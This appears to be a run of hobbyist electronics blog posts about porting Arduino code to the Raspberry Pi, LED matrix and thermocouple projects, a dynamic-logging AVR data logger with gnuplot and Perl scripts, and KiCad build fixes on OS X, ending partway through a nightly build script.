Photo 1: Hello world, using the WiringPi library to control an LED display.

To celebrate getting the GPIO working using WiringPi from Gordon Henderson I thought I’d have a quick look at the difference between running some code on an Arduino compared to running almost the same code on a Raspberry Pi (RasPi).

It is worth noting now that the setups I’ve been using to test with are all powered from a separate 3.3V supply with the grounds linked. Nothing is being powered via the RasPi itself to avoid drawing too much current should I make a mistake. When working with the RasPi you should be careful as the RasPi will not take kindly to static discharge, connecting things backwards or the wrong voltage levels.

The really great thing about Gordon’s library is that by using it I am able to transfer Arduino code to the RasPi with only a few simple changes. Obviously not everything in the Arduino libraries are present, but the basic I/O manipulation is plenty for some simple applications.

MAX6675 thermocouple interface example

The MAX6675 from Maxim is an SPI Bus based thermocouple convertor that I built a breakout board for a while back. You can find out more information about that project in this earlier post.

As a simple test I took the basic example from the MAX6675 thermocouple interface library and adapted it to run with the WiringPi library on the RasPi.

I initially ported the example and library to C as the WiringPi was in C and I had a couple of issues compiling mixed C and C++ properly. After a bit of investigation I found that when explicitly including the libraries as C the compiling problems go away. Below is an example of how to modify the wiringPi.h file to ensure it is included as C and not C++. Gordon has said he will make this change to the library on the next release. Once I had sorted out the makefile to use g++ rather than gcc I was able to compile and link successfully.

Listing 1: Explicitly declaring a header file as C

 #ifdef __cplusplus
 extern "C" {
 #endif
  
 // wiringPi.h Code goes Here 
 //  or 
 // #include <wiringPi.h>

 #ifdef __cplusplus
 }
 #endif

While compiling and linking of the example was now okay, the next problem was that when run, the program just exited with a “Segmentation Fault” (segfault). I didn’t even see the error message when running as root with sudo, it was only when running as the standard user (pi) that it became apparent that something was wrong with the software rather than the hardware.

When I had run previous examples as the standard user I would see a permissions related error complaining that the program could not access the “/dev/mem/” device. This error comes from the part of the WiringPi library that sets up memory access to the hardware registers in the Broadcom BCM2835. This clue told me that the wiringPiSetup routine was not being run. This in turn showed me that the global object representing the temperature sensor was being constructed before the WiringPi library was being setup.

The solution to this particular problem was simple enough. I edited the MAX6675 library so that it calls wiringPiSetup directly when initialising. I also set an internal flag if this succeeds. In addition to this I modified the methods to exit with an error if the flag has not been set. This means that none of the MAX6675 library methods should ever call WiringPi functions without the appropriate initialisation having taken place and succeeded beforehand. My code for this example is here. A more general solution might be to add this flag to the WiringPi library itself.

LED Display (MLMC) and Temperature Combined Example

Following my success with the temperature sensor I decided to push the boat out a little further and try to interface to my MLMC LED display system.

The MLMC LED display is a set of LED dot matrix control PCBs I designed to use up some unusual LED modules I had lying about. You can get the full story in this blog post or on the website.

Photo 2: Using the WiringPi library to control an LED display and thermocouple interface

This was a simple demonstration with the RasPi reading from the thermocouple interface and then displaying the temperature on the display. For this example I wrote everything in C. The MLMC interface is very simple and involves clocking 16 bit words of data using two pins, one for data and one for clock. Each word represents a single column on the LED display. This low speed (~5Kbps) synchronous protocol was originally implemented by directly manipulating the digital I/O pins on the Arduino and so was very simple to port to the RasPi with the WiringPi library.

While the ported program functions very well, the waveforms obtained from the RasPi are quite different to those achieved with the Arduino. This is a good example of how the same simple code can be quite different when ported between platforms.

MLMC Clock Waveforms

The function used to send serial data to the MLMC is shown below. This code has a 75µs delay between switching the level of the clock and this gave uniform pulses on both systems. The pulses also appeared consistent from one run to another.

Listing 2: MLMC serial data sending routine

const int spidelay_us =75;

void Send_byte( char data ///< 8 bit data to be sent
			   ) {
    uint8_t temp;	// local copy of the data to be shifted out
    uint8_t i;					
	
    temp = data;	
    for (i=0; i<8; i++) {
		// start the cycle with the clock pin low
        digitalWrite(clockPin, LOW);

		// clock out a single byte
        if (temp & (1<<7)) {
            digitalWrite(dataPin, HIGH);
        } else {
            digitalWrite(dataPin, LOW);
        }
        
		// wait for data bit to be set up
		delayMicroseconds(spidelay_us);
        
		// clock the data out by producing a rising edge
        digitalWrite(clockPin,HIGH); 
		
		// wait for mlmc to read the data bit in 
        delayMicroseconds(spidelay_us);
		
        // shift data along by one
        temp <<= 1;
    }
	
	// leave both pins low when idle 
    digitalWrite(clockPin, LOW);
    digitalWrite(dataPin, LOW);
}

The following scope traces are the result of executing Listing 2 on the Arduino:

Figure 1: Clock pulses from the Arduino to the MLMC modules

Figure 2: Single clock pulse from the Arduino to the MLMC modules

Arduino has a total pulse time of approximately 80µs for the first clock pulse to MLMC. This extra 5µs I assign to the time taken to call the digitalWrite function, a single shift operation and iterating the for-loop.

The next two traces in figure 3 and figure 4 are produced when running the same code on the RasPi:

Figure 3: Clock pulses from the Raspberry Pi to the MLMC modules

Figure 4: Single clock pulse from the Raspberry Pi to the MLMC modules

You can notice that while the pulses look identical at a quick glance the RasPi has 150µs pulse width; almost double that of the Arduino. I assume that the delayMicroseconds function, which only guarantees that a minimum of the given microseconds have elapsed before returning, is releasing control to the operating system and coming back a lot later than expected. As the delay implementation in the WiringPi library simply calls nanosleep I am surprised this operation takes twice as long. There may be a number of causes for this behaviour:

• There might be a bug in the way the delay function is implemented.
• The shift and for-loop iteration might have compiled in a very inefficient way.
• The operating system simply cannot schedule other tasks quickly enough to return from nanosleep and meet our expectations.

MAX6675 thermocouple interface

This loop was clocking data in from the MAX6675 chip via a “bit-banged” interface. The main loop did not have a delay and was toggling bits as quickly as possible while shifting in the value via a single GPIO pin.

Listing 3: SPI send section from the MAX6675 library

digitalWrite(_CS_pin,LOW); // Enable device

/* Cycle the clock for dummy bit 15 */
digitalWrite(_SCK_pin,HIGH);
digitalWrite(_SCK_pin,LOW);

/* Read bits 14-3 from MAX6675 for the Temp 
 Loop for each bit reading the value and 
 storing the final value in 'temp' 
 */
for (int bit=11; bit>=0; bit--){
	digitalWrite(_SCK_pin,HIGH);  // Set Clock to HIGH
	value += digitalRead(_SO_pin) << bit;  // Read data and add it to our variable
	digitalWrite(_SCK_pin,LOW);  // Set Clock to LOW
}

/* Read the TC Input inp to check for TC Errors */
digitalWrite(_SCK_pin,HIGH); // Set Clock to HIGH
error_tc = digitalRead(_SO_pin); // Read data

digitalWrite(_SCK_pin,LOW);  // Set Clock to LOW
digitalWrite(_CS_pin, HIGH); // Disable Device

The following traces in figure 5 and figure 6 show the results on the Arduino.

Figure 5: Clock pulses from the Arduino to the MAX6675

Figure 6: Single clock pulse from the Arduino to the MAX6675

On the Arduino this code gave a uniform pulse train with the pulse widths measuring approximately 6-7µs. As the Arduino is running at 16Mhz I would like to think this could be optimised a lot more to get something like 120ns if I used some assembly or bypassed the Wiring/Arduino API, but that is an exercise for another blog post.

Figure 7: Clock pulses from the Raspberry Pi to the MAX6675

Figure 8: Close-up clock pulses from the Raspberry Pi to the MAX6675

The RasPi on the other hand gave a very non-uniform pulse train. As this is synchronous communication, the clock does not need to be uniform, it dictates when the data line is read. The average pulse in this waveform is only 150ns wide which is approximately 48 times faster than the Arduino. Given that the RasPi clock speed of 700MHz is roughly 44 times faster then the Arduino clock speed of 16MHz, this makes sense.

The RasPi would vary any individual pulse length by up to a factor of two (from observation) but did not seem to be effected by increasing the load (multiple ssh sessions and running an openssl speed test). The RasPi would also continue to run the MLMC scrolling display and reading the temperature sensor without issues while another process was also reading the temperature sensor at the same time (single_temp.cpp from first example above). Even while openssl was doing speed testing (cpu usage at 98-99%) the visible operation of the screen was not effected.

Investigating Further

The long delay and changing pulse widths could be investigated further with a couple of short programs.

I could investigate the long delay further by looking at repeating the test with the system under different loads and noting the effect on the width and consistency of the pulses. To vary the workload on the RasPi I could use a tool like stress.

We could also step through many values while keeping the system load constant. This would give us an idea if their was a minimum overhead experienced by the delay function or if their was some sort of error in the calibration.

I will leave these as an exercise for another day as plenty of work has already been done on this sort thing before, although not specifically on the RasPi.

Conclusions

This was a very quick look into porting code from Arduino to Raspberry Pi. I found that it was not so difficult to port some very simple applications, the majority of the code would simply run unchanged.

While the code may compile and run, the actual operation of the code will always need to be checked carefully for timing issues and other unexpected behaviour when switching hardware and using new library implementations.

As these systems were using synchronous serial communication the exact shape of the waveforms did not actually need to be uniform for the system to work.

On review of the MAX6675 data sheet the timings slighty exceed the stated maximum clock freq of 4.3Mhz. So If I was intending to use this further I would introduce a short delay into the MAX6675 clock routine to ensure it complies with the data sheet.

The MLMC module operates perfectly with the timings achieved but we are operating at half the throughput we expected due to the delay function not operating identically to the same function on the Arduino. While this didn’t cause a problem in this simple test it could easily have done so in a slightly more complicated system.

Raspberry Pi in its printed case

After months of anticipation my Raspberry Pi (RasPi) arrived last week. So I spent a little bit of time putting it through its paces. After waiting for the last couple of months I had a short list of things I wanted to test immediately:

Operating System

First order of business was to boot up and try out the various distributions currently offered. On first boot I was a little disappointed to find the RasPi had a few issues with my SD card. When booting the Debian distribution I saw lots of errors when booting. The errors were “mmc0: Too large timeout requested for CMD38!” which I believe are to do with the time the card takes to erase blocks. The card was one I bought very cheaply at a market when I was on holiday in Italy a few years ago so I wasn’t that surprised to see it fail. When I switched to a newer card it behaved normally and the errors disappeared. The SD card images are available from the Raspbery Pi downloads page via bit-torrent.

Debian “Squeeze”

This is the recommended install and comes with an X-Windows GUI using a fast, light-weight desktop environment (called LXDE). The image booted into the standard text mode login prompt. After logging in I started the GUI by typing startx. I was a little surprised to find the ssh server not running by default but that was easily fixed. As I don’t have any HD TVs around, the composite video output works fine but its not ideal to do command-line work. By starting up ssh I’m able to login and develop on the RasPi using my laptop or other computer.

To start the ssh server for the current session you can type the following into the command prompt via a USB keyboard:

sudo service ssh start

To ensure this service is started every time the RasPi is powered up type the following:

sudo update-rc.d -f ssh defaults 20

I also installed a couple of utilities for later testing out the RasPi:

sudo apt-get install screen 
sudo apt-get install minicom

Other than the ssh daemon not being run at boot and having to login and manually start the GUI this distribution behaved as I expected. It’s standard Debian and behaves as such, being able to apt-get anything I tried from the repositories without problems.

Arch Linux ARM

I’ve not worked with this distribution before so didn’t do much more than boot up and see what was installed. As expected this booted into text mode as there is no GUI installed at all. As ssh was running and the Ethernet interface was working out of the box I was able to log in remotely and poke about without any problems.

This is a very basic install, without even another user other than root. I like this cut down system as it seemed very fast with a low memory (both RAM and SD card) footprint. It looks like it will be a good starting point for an embedded server project. Having no experience with the pacman package management system I didn’t investigate very much at all, but think I think I will have another look at this distribution in the near future.

QtonPi

The QtonPi image was the largest of the three images to download, but that is because as well as an image for the SD card it also contains the cross-compilers needed to develop for embedded Qt on ARM via your standard x86 Linux machine. In addition to the compilers and Qt libraries it also contains tools for making new SD card images.

This image is based on Fedora 14 and booted into the console as with the previous two images. This distribution also didn’t have an ssh server running by default. To get ssh working on I needed to bring up the ethernet interface by typing:

ifup eth0

After getting this sorted I was able to ssh into the RasPi. To ensure this happens every boot I edited the file /etc/sysconfic/network-scripts/ifcfg-eth0, changing the ONBOOT option to YES:

ONBOOT=YES

I also changed my timezone by doing the following:

mv  /etc/locatime  /etc/locatime.original
ln -sf /usr/share/zoneinfo/Europe/London /etc/locatime

This is helpful when looking through logs or trying to figure out what files you just changed.

Like the Arch Linux image previously mentioned this distribution also had no X-Windows GUI installed. This image is designed to use the Qt libraries to draw direct to the framebuffer. This is great for embedded systems as you don't have the overhead of a full X-Windows installation.

After following the QtonPi "getting started" instructions from here I could not get the Qt5 "Hello World" example to do any more than produce a white screen. Poking about the system I found some examples already on the card. Some of these "segfaulted" when run while others appeared to have the framebuffer off-centre and while displaying a little text, would not operate as intended.

The workflow for this project seems very nice and well thought through. Developing on the host and then automatically running on the target seemed very slick from within the QtCreator IDE. I look forward to working with it as the Qt5 platform matures.

NOTE: the QtonPi wiki pages seem to be moving about so here is a link to the Google cache version of instructions I followed.

An Enclosure

The second order of business now that I had an operating system was to get a case printed. I chose v12 of "thing" 16104 with the large Raspberry Pi themed ventilation holes. It printed okay but it took a couple of attempts with slic3r to get it to slice the thin walls correctly.

I also needed to move a couple of the connectors to make things fit nicely. I did this the old fashioned way with a file and knife but altering the OpenSCAD model looks pretty straight forward, so I'll probably do that before I print more cases for other people.

USB Serial Drivers

Third on my hit list was to check the drivers are present to talk to my RepRap 3D printer and other serial bits and pieces I have lying about. Both prolific USB to serial (PL2303) and FTDI seem to work fine. I didn't test the devices thoroughly, I simply noted that the drivers was installed and new /dev/ttyUSBx device was created when I plugged them in. I'll probably look at using the GPIO to control my RepRap and other electronics directly but for the immediate future, serial comms to an Arduino will do just fine.

General Purpose I/O (GPIO)

Last on my list was GPIO. I would like to use the RasPi as a real-time controller in embedded systems so I am quite curious to see if I can do anything useful with the GPIO. Later I plan to use it to drive the RepRap directly so I can repurpose my Linux machine in the workshop to do greater things without interrupting the printing process.

While using the information from http://elinux.org/Rpi_Low-level_peripherals I wasn't able to get anything to happen on the GPIO but as this was a late night investigation I'll assume there was something simple I overlooked.

Below is a video test of me upgrading the ATtiny261 to ATtiny861 on my MLMC controller PCB. While the system is reasonably good for soldering it is excellent for inspecting finished the finished work.

I took a couple of test pictures using the Windows software (Microcapture). These are shown below. The software lets you draw in measurements based on the magnification which is entered manually. It’s not the greatest but it is nice and functional.

Microscope Photo Test at 22x magnification

This shows the mm scale on my steel ruler.

Microscope Photo Test at 400x Magnification

This shows the 0.5mm scale elsewhere on the same ruler.

High Resolution Photo Test at 20x magnification

I have tested the device on Windows XP, MacOS 10.7, Fedora15. On Linux I had a few issues that later turned out to be a faulty USB hub. In playing around to get the scope to work on Linux I discovered the great GTK+ UVC Viewer program. As all three operating systems have “USB Video Class” drivers everything worked out of the box (hub issues aside).

If Linux does give you any grief you may need to do a modprobe uvcvideo. I didn’t need to do this as I have another webcam plugged in as well that uses the same driver.

I’m not sure what tricks the Windows driver uses to get the higher resolution as these modes did not seem to work on other platforms. If anyone knows how to get the high resolution modes working on Linux or OS X I would love to hear from you.

An Arduino driving five MLMC modules displaying the current temperature

I have finally motivated myself to publish my firmware and PCB designs for the MLMC on github. The design is functional and I have a set of five modules chained together sitting on my workbench. They happily display the current temperature via an Arduino and the MAX6675 based Thermocouple board I designed previously.

All the files for the project are currently published on github at https://github.com/brokentoaster/MLMC.

Bottom view of the controller PCBs.

This Modular LED Matrix Controller (MLMC) all started about 3 years ago and you can find all the info and a demonstration video at the project web page.

Once a couple of initial glitches in the system had been worked out the modules turned out to be both reliable and easy to drive.

The power consumption as on average 12mA per module while displaying scrolling text. The current consumption is reasonably nicely distributed about the average without any large peaks in current. Each module’s refresh rate is slightly out of sync with its neighbour due to the differences in each of the AVRs on-board oscillators. This has the side effect that all columns switch on at a slightly different time and avoids causing a large spike in the current. While not deliberately designed to act this way it is a benefit of the multiple controller modular design.

Trying to drive 1280 LEDs from just 4 wires was not without its problems, the three main problems are covered in greater detail in later posts but in brief they were as follows:

• Synchronisation issues caused by jitter, noise and missing bits
• Clocking out the last word from one module to the next
• PCB design error – SPI pins are not always the same as the ISP serial programming pins.
• Component Choice. Not enough memory for desired bit depth or bandwidth to achieve original functionality
• USI in SPI mode is not the same as hardware SPI

ArduinoMP3 (Rev C)

The Arduino MP3 webpage is finally up and the source code for the project is on github.

You can find the web pages at:

http://www.brokentoaster.com/arduinomp3

You can find all the future development at GitHub via this link:

https://github.com/brokentoaster/ArduinoMP3

A Graphical Overview

Figure 1: Dynamic logging example.

The two part graph shown above in figure 1 demonstrates the increasing and decreasing of logging frequency as the monitored signal changes more or less quickly. The signal being monitored in this example is the ambient temperature of my garage over a week in March 2011. This was done using the AVR Butterfly’s onboard thermistor.

The upper part of the graph shows the temperature plotted in order sampled as it is stored in the memory of the logger. The lower part of the graph plots the temperature against time. This is done using the date and time as recorded by the logger and using the following lines in gnuplot:

set xdata time
set timefmt "%Y/%m/%d %H:%M:%S"
plot 'dataFile.log' using 1:8 with impulses notitle

The temperature in the lower section is plotted as impulses simply to highlight the change in logging frequency.

Figure 2: Comparison of data plotted against time or sample index.

The above graph in figure 2 shows a much larger sample from the same logging session. In this plot you can again see the differences between the samples recorded in memory and the samples plotted against time.

You will notice how the samples actually recorded only ever differ by a fixed amount. This is evident through the constant slope of the upper section of the graph. This constant slope, either increasing or decreasing, is an artefact of the logging threshold value. The threshold value is set at compile time in the software.

The software also has a timeout parameter that establishes the maximum logging interval. If no timeout is set the system will only log when the threshold has been exceeded, however if the parameter has been set then the logger will record a sample after a fixed period time (even if the sample threshold has not been exceeded).

The minimum interval is specified by the sample period parameter as used when logging in the standard mode. The timeout value is simply specified as a multiple of this interval.

Figure 3: Dynamic resolution of the data expressed as number of samples per hour.

Figure 3 is yet further analysis on the same data from the previous two graphs. This plot shows the logging resolution over time. The resolution is expressed as the number of samples recorded per hour. This figure was calculated by processing the data and counting the number of samples recorded that hour. Where no data is recorded for a given hour a zero is recorded. A Perl script to produce this data from the logger output is shown below in listing 2.

This example gives us a good metric for measuring the effectiveness of dynamic logging. If you examine the graph you can see that, at its peak rate, the logger is recording at a resolution of 30 samples per hour. The logging interval for this session was set to once per second, giving us a maximum sample rate of 3600 samples per hour. As the rate is dynamic it makes sense to also look at the average rate over the whole period, which is just over 2 samples per hour. If we compare the average rate to the peak rate we can gauge the efficiency introduced by the dynamic logging feature.

Conclusions

The benefits of dynamic logging

By looking at the number of samples needed at the peak sample rate and comparing this to the number of samples used, we can calculate the theoretical saving in redundant samples. If we were to capture the same data using standard methods we would have used over 14 times more samples. As our storage space is limited, if we were using a standard technique we could only log for a much shorter time.

This reduction in space used can be taken advantage of in two ways. If the temperature characteristics in the garage remain unchanged the logger could record for 3 years without filling up the flash. This is much much more than possible using the standard technique. Another way to utilise this extra space would be to log more sensors over the same period as possible with standard logging.

Other than storage savings the major benefit of the dynamic sample rate is that dramatic events are not missed. If we had wanted to conserve storage space using standard methods we would risk the possibility of sudden changes in the data being overlooked by a much slower sample rate.
Using a dynamic rate we get the benefits of a higher sample rate without the storage cost.

The costs of dynamic logging

There are a couple of disadvantages to this dynamic sample rate technique. One of these is the reduction in resolution in our sensors. This is due to the threshold introduced before a sample is taken. The resolution of the ADC has effectively been reduced from 1024 to approximately 340 levels. For our example this reduces the temperature to a resolution of 0.1°C per level in the temperature range we are looking at. (< Due to the non-linear nature of the thermistor, the effective temperature resolution will change of over the range of the sensor >)

The logger will also consume more power due to being out of sleep mode more often. The logger needs to leave sleep mode often to check if it should be recording a sample to flash. Compared to just reading of the sensorsWriting to flash is by far the most power hungry activity of the logger when c, because of this I don’t anticipate the extra power requirements to be too great, although I have not actually measured the impact.

When using a fixed sample rate technique you can calculate the exact length of time a logger will be able to log for prior to deployment. With the dynamic sample rate you can no longer know how long you can log for when deploying a logger. To mitigate this issue you could either make a prediction based on prior knowledge or develop a method to alert the user when the memory is approaching capacity.

Using data previously gathered in an environment you can predict how long it is reasonably likely to log for. Using the example data used I would calculate the expected logging capacity based on 700 samples a week (< Doubling the average sample rate we saw in the data simply for reasons of contingency. >). Using this value would allow logging for something like 80 weeks or so. This is of course still 7 times longer than standard logging would allow. These types of calculations could potentially be incorporated to the firmware to make using dynamic logging more useful.

Scripts

As promised above I have included the scripts used to produce the data and graphs. They might be useful to anyone getting started with using Gnuplot, BASH and Perl to automate graphing and analysis.

#!/bin/sh

# script to plot logging results temperature against time.
# also plot temperature samples for comparison and analysis of
# the dynamic logging system.

#assume arg 1 is name of file with ^M's ^D's and non data lines already removed.

maxtemp=30

# look at number of points per hour
#cut -d\  -f2 ${1} | cut -d: -f1 | uniq -c > ${1}_res

# TODO: need to pad out hours with zero points
# DONE: use pad.pl to calculate number of samples per hour and pad any zeros
# 	Does not check for an entire day with out samples though.
cat ${1} | ./pad.pl > ${1}_res

gnuplot << EOF
set terminal png size 1024,768 enhanced font "/Library/Fonts/Microsoft/Arial,12"
set output "$1_resolution.png"
set origin 0,0
set grid
set yrange [0:35]
set title 'Logging resolution over time'
set ylabel 'No. of samples per hour'
set xlabel 'Hour of sampling' 
plot '${1}_res' u 2 w i  not

set output "${1}_comparison.png"
set multiplot
set origin 0,0.5
set size 1,0.5
set xdata 
set yrange [0:${maxtemp}]
set title 'Ambient Temperature'
set xlabel 'Sample'
set ylabel 'Temperature (°C)'
plot '$1' u 8 w l not

set origin 0,0
set size 1.0,0.5
set xdata time
set timefmt "%Y/%m/%d %H:%M:%S"
set ylabel 'Temperature (°C)'
set yrange [0:${maxtemp}]
set xlabel 'Time'
set title ''
set format x "%d %b"
plot '$1' u 1:8 w l not

set output "${1}_impules.png"
set multiplot
set origin 0,0.5
set size 1,0.5
set xdata 
set yrange [0:${maxtemp}]
set title '150 Samples of Ambient Temperature'
set xlabel 'Sample'
set ylabel 'Temperature (°C)'
plot '< head -150 $1' u 8 w l not

set origin 0,0
set size 1.0,0.5
set xdata time
set timefmt "%Y/%m/%d %H:%M:%S"
set ylabel 'Temperature (°C)'
set yrange [0:${maxtemp}]
set xlabel 'Time'
set title ''
set format x "%d %b"
plot '< head -150 $1' u 1:8 w i not
EOF

open $1_resolution.png
open $1_comparison.png
open $1_impules.png

Listing 1: BASH script to process the data into graphs.

#!/usr/bin/perl -w

use strict;
# simple script to process temperature logs and show number of samples per hour

# my old script did this...
## look at number of points per hour
##  cut -d\  -f2 ${1} | cut -d: -f1 | uniq -c > ${1}_res
# .. but that didn't account for hours with no samples at all.

# my variables...
my @lines;
my $line;
my $hour;
my $previous_hour;
my $first = 1;
my $count = 0;
my @fields;
my @time;

# read in all lines from stdin
chomp(@lines = <STDIN>); 

#process each line in turn
foreach $line (@lines) {
		
		# extract the hour value from the time, ignoring the date.
		@fields = split /\s+/,$line;
		@time = split /:/,$fields[1];
		$hour = $time[0];
		
		# set up the previous_hour for the first line to enable the count
		if ($first == 1){
			$previous_hour = $hour;
			$first = 0;
		}
		
		if ($hour == $previous_hour){
			#increment the count of samples for this hour 
			$count++;

		} else{
			#  print our total and move on to the next hour
			print "$previous_hour \t $count \n";
			$count = 0;
			$previous_hour++;
			$previous_hour %= 24;
			
			# check for non consecutive hours and pad out with zero totals
			# assuming their hasn't been a total day without samples
			while ($previous_hour != $hour){
				print "$previous_hour \t $count \n";	
				$previous_hour++;
				$previous_hour %= 24;
			}
			
			# remember to count this first new sample in our totals 
			$count=1;
		}	
}

# done

Listing 2: PERL script to process the data logger output and calculate the number of samples per hour.

New Features

The main feature of this update is dynamic logging. I’ll post some examples of this in action soon but for now I’ll just give you a basic overview.

Dynamic logging means that the period between samples is altered dynamically at runtime depending on the state of the system being monitored. If the system is undergoing rapid change then many samples will be taken automatically. If the system is stable then very few samples will be taken at that time. This has the same effect as sampling continuously at a high sample rate but removing any repeated or redundant data except that the repeated and redundant data is simply never recorded.

When using the dynamic logging feature you will need to log time and date to enable you to be able to properly reconstruct the data later once downloaded.

The dynamic logging feature also has an optional timeout value so that if no change has been read from the ADC for a large number of log attempts then a log is forced to ensure a minimum resolution such as 1 sample every hour is maintained.

Currently the dynamic logging feature only monitors a single ADC channel. I have plans to extend it to monitor other sensors and also multiple sensors simultaneously in future releases.

Setup and options for the dynamic logging features are currently maintained in the file main.h. There are some comments in the file to explain the options available.

To save on program space the dynamic logging parameters can be implemented as a compile time option. If more flexibility is wanted the features can also be implemented with the parameters as runtime changeable options that can be altered via the serial port interface.

Bug Fixes

This version also includes a fix for an issue with updating the LCD readings after the flash was full.

After a few changes here and there and updating wxWidgets to 2.9.1 I have the nightly build system back up and running. The build script I am using is given at the end of this post in Listing 4.

The KiCad compiling instructions for OS X have been updated and now work a lot better. You should be able to find the latest version over at launchpad here.

In case anyone else runs into similar problems I have repeated some of the errors and my hacks/work-arounds solutions below.

The nightly builds themselves are here as usual.

Getting it to compile again.

After following the compilation instructions referred to above, I ran into the following error. After a bit of web crawling and reading development lists I found that I needed to use the XML library built into wxWidgets rather than the system one.

The error looked like this:

Linking CXX executable eeschema.app/Contents/MacOS/eeschema
Undefined symbols:
“_XML_GetErrorCode”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_ErrorString”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_SetUnknownEncodingHandler”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_SetCharacterDataHandler”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_SetUserData”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_ParserFree”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_SetCdataSectionHandler”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_SetCommentHandler”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_Parse”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_SetElementHandler”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_ParserCreate”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_GetCurrentLineNumber”, referenced from:
_StartCdataHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)
_CommentHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)
_TextHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)
_StartElementHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
“_XML_SetDefaultHandler”, referenced from:
wxXmlDocument::Load(wxInputStream&, wxString const&, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)
ld: symbol(s) not found
collect2: ld returned 1 exit status
make[2]: *** [eeschema/eeschema.app/Contents/MacOS/eeschema] Error 1
make[1]: *** [eeschema/CMakeFiles/eeschema.dir/all] Error 2
make: *** [all] Error 2

Error 1: Missing XML library

This was fixed by adding the --with-expat=builtin option when configuring wxWidgets.

This then lead me to another error to do with wxWidgets headers using anonymous enums and anonymous types. Part of this second error is shown below.

/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h: In member function ‘bool wxComboPopup::IsCreated() const’:
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: ‘‘ is/uses anonymous type
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: trying to instantiate ‘template struct boost::polygon::is_polygon_90_set_type’
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: ‘‘ is/uses anonymous type
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: trying to instantiate ‘template struct boost::polygon::is_polygon_45_or_90_set_type’
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: ‘‘ is/uses anonymous type
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: trying to instantiate ‘template struct boost::polygon::is_any_polygon_set_type’
make[2]: *** [gerbview/CMakeFiles/gerbview.dir/class_gerber_draw_item.cpp.o] Error 1
make[1]: *** [gerbview/CMakeFiles/gerbview.dir/all] Error 2
make: *** [all] Error 2

Error 2: Anonymous enums using anonymous types being marked as errors by the compiler

Rather than figure out which flag to set on the cmake/compiler/linker mess, I went for a brute-force approach that I found here after a small amount of searching. I have expanded from the script given to the ones below to account for the particular style used in the wxWidgets header files.

for i in `grep -l ‘enum {‘ *.h | sed -e ‘s/\.h//g’` ; \
do \
perl -pi -e \
“s/enum {/’enum en_$i’ . int(rand(100)) .’ {‘/eg” $i.h; \
done

Listing 1: Small script to replace all occurances of “enum {” with “enum en_filenameXX {“

Listing 1 is the original script given which enumerates the anonymous enums with a name consisting of the filename (without the extension) and a random number from 0-99.

This next command I adapted from the first to account for the fact that the style of the wxWidgets header files meant that a lot of the enums were declared with the keyword enum alone on a line with the rest of the declaration on the following line. This finds those declarations and assigns them a name similar to the first script but with a number from 100-199 to ensure we don’t repeat names already given. It is shown below in Listing 2.

for i in `grep -l ‘^enum en_.*$’ *.h | sed -e ‘s/\.h//g’` ;\
do \
perl -pi -e \
“s/^enum$/’enum en_$i’ . int(rand(100)+100) .”/eg” $i.h;\
done

Listing 2: Small script to replace all occurrences of “enum” with “enum en_filename1XX ” where “enum” occurs by itself on a line and assuming the rest of the declaration continues on the following line.

The problem with the previous two scripts is that they use a random number to assign the unique identifier. Being random there is the possibility that this number can come up twice.
This last command (Listing 3) helps us check for duplicate names generated by the previous scripts. We then need to go in and fix the duplicates by hand.

grep ‘enum en’ *.h | sort | uniq -c | sort -n

Listing 3: Command to check for duplicate names created by previous two scripts.

A single script could be written to give unique identifiers to all the anonymous enums and ensure that the identifiers are unique. But as this was a quick enough process and solved my problems I haven’t bothered to refine it further. Perhaps next time I update wxWidgets I’ll give it another thought. I thought this was a useful enough hack to share.

Automating the builds

Listing 4 below shows my daily build script which automatically updates the code to the latest development snapshot via Bazaar. Next it will check if the version has changed and if so build and package the latest version. If this all goes well we compress the new version into an archive and upload it to the website. If the compilation does not complete according to plan then the error log and some other useful information is uploaded to the website instead. Note that all usernames and passwords have been changed to placeholders in this version. This is run every day (or night depending on your time zone) by a cron job.

#!/bin/sh
#
. /Users/nick/.bashrc

#Make a nightly build of KiCad

#update from launchpad using bazaar
cd /Temp/kicad.bzr/kicad/
bzr update

new_version=`bzr revno`
old_version=`cat /temp/install/version.txt`
if [ $new_version -gt $old_version ]
then

#build it
cd build/release

